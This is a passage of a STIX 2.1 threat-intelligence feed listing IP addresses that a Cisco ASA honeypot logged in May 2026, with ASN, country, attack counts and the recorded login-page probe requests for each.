            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T18:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--2d7794fc-c985-4a5e-a4ce-f040585c840a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.111.226.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T18:20:13.000Z",
      "valid_until": "2026-06-27T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 28,
          "first_seen": "2026-05-26T17:53:17.085Z",
          "last_seen": "2026-05-30T02:28:09.995Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T18:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--d63034ab-eda3-42cd-9351-fbd29f5c1179",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '153.80.115.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T18:20:13.000Z",
      "valid_until": "2026-06-27T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-26T18:11:00.060Z",
          "last_seen": "2026-05-31T04:14:38.136Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T18:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--56239fb6-ffd2-41dd-aab4-0fecf7e2fb08",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.243.191.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T18:20:13.000Z",
      "valid_until": "2026-06-27T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-26T17:49:10.662Z",
          "last_seen": "2026-05-30T11:40:46.450Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T18:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--3c428424-beff-4c1f-b003-63f06470a3d0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '5.252.189.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T18:20:13.000Z",
      "valid_until": "2026-06-27T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T17:45:15.245Z",
          "last_seen": "2026-05-26T19:36:25.399Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T18:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: UA; ASN 214403 (Layer7 Networks GmbH)",
      "id": "indicator--ed3d5336-c227-44c5-8a69-9588c7d4a916",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '77.83.36.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T18:20:13.000Z",
      "valid_until": "2026-06-27T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-26T17:45:36.879Z",
          "last_seen": "2026-05-26T17:45:41.152Z",
          "country": "Ukraine",
          "country_code": "UA",
          "asn": 214403,
          "as_org": "Layer7 Networks GmbH",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /HNAP1/ HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: HK; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--e7dccb77-d850-40ab-9ec1-e16c63227de5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '123.58.215.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T19:20:10.000Z",
      "valid_until": "2026-06-27T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 4,
          "first_seen": "2026-05-26T18:33:41.964Z",
          "last_seen": "2026-05-26T18:33:42.864Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: AE; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--68ef53ee-dfe4-4442-8bde-1b81e1f101de",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '152.32.181.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T19:20:10.000Z",
      "valid_until": "2026-06-27T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 16,
          "first_seen": "2026-05-26T18:32:25.928Z",
          "last_seen": "2026-05-26T18:33:26.911Z",
          "country": "United Arab Emirates",
          "country_code": "AE",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--1fe7e851-3858-40de-b1d5-6eefcd1f3e54",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '165.154.173.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T19:20:10.000Z",
      "valid_until": "2026-06-27T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 4,
          "first_seen": "2026-05-26T18:33:03.937Z",
          "last_seen": "2026-05-26T18:33:14.140Z",
          "country": "United States",
          "country_code": "US",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"t3 12.1.2\" 400 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 400"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--64cd0279-9cea-4128-95c9-ca2f3dc8cc21",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '166.88.41.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T19:20:10.000Z",
      "valid_until": "2026-06-27T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 28,
          "first_seen": "2026-05-26T18:36:18.671Z",
          "last_seen": "2026-05-27T20:24:25.739Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f11d6618-9e66-47ec-9e52-6cefea5abb3a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.88.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T19:20:10.000Z",
      "valid_until": "2026-06-27T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-26T18:35:01.336Z",
          "last_seen": "2026-05-30T14:48:13.133Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--eb23a257-3c25-4137-9480-0d9bf043944a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '5.252.190.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T19:20:10.000Z",
      "valid_until": "2026-06-27T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T18:28:36.531Z",
          "last_seen": "2026-05-29T16:53:45.307Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--90b107b0-d393-44ae-bbd9-9c11c0f2237d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '77.83.4.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T19:20:10.000Z",
      "valid_until": "2026-06-27T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T19:04:58.685Z",
          "last_seen": "2026-05-29T10:59:53.077Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--65c6266a-df14-4f79-99e3-ab738ab38d3c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '77.83.4.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T19:20:10.000Z",
      "valid_until": "2026-06-27T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-26T19:08:55.575Z",
          "last_seen": "2026-05-26T19:09:06.065Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--d4d1944c-8cd1-4c35-837e-eca0208ba72e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '80.68.148.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T19:20:10.000Z",
      "valid_until": "2026-06-27T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-26T18:33:10.746Z",
          "last_seen": "2026-05-26T18:33:22.805Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--bc89cbaf-a8bc-44c4-84bf-9467ddbf2312",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T19:20:10.000Z",
      "valid_until": "2026-06-27T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-26T18:25:14.457Z",
          "last_seen": "2026-05-26T18:25:14.457Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--2d782603-ec2a-405e-b887-c56bdb3841b7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T19:20:10.000Z",
      "valid_until": "2026-06-27T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-26T18:28:11.120Z",
          "last_seen": "2026-05-26T18:28:11.120Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--8a7dc79d-b25a-471c-be13-d3622bbeaabf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T19:20:10.000Z",
      "valid_until": "2026-06-27T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-26T18:28:13.899Z",
          "last_seen": "2026-05-26T18:28:13.899Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--9657815e-65a9-4515-8b4a-312dbb9e0e54",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T19:20:10.000Z",
      "valid_until": "2026-06-27T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-26T18:30:12.026Z",
          "last_seen": "2026-05-26T18:30:12.026Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T20:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--e883b6ae-5ad2-410b-874e-e1a8a1a1fa46",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.252.8.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T20:20:05.000Z",
      "valid_until": "2026-06-27T20:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T19:34:30.119Z",
          "last_seen": "2026-05-27T17:58:17.858Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T20:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--6dbbdaae-b36a-4f01-89ab-917bc0a65d7e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '167.172.130.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T20:20:05.000Z",
      "valid_until": "2026-06-27T20:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
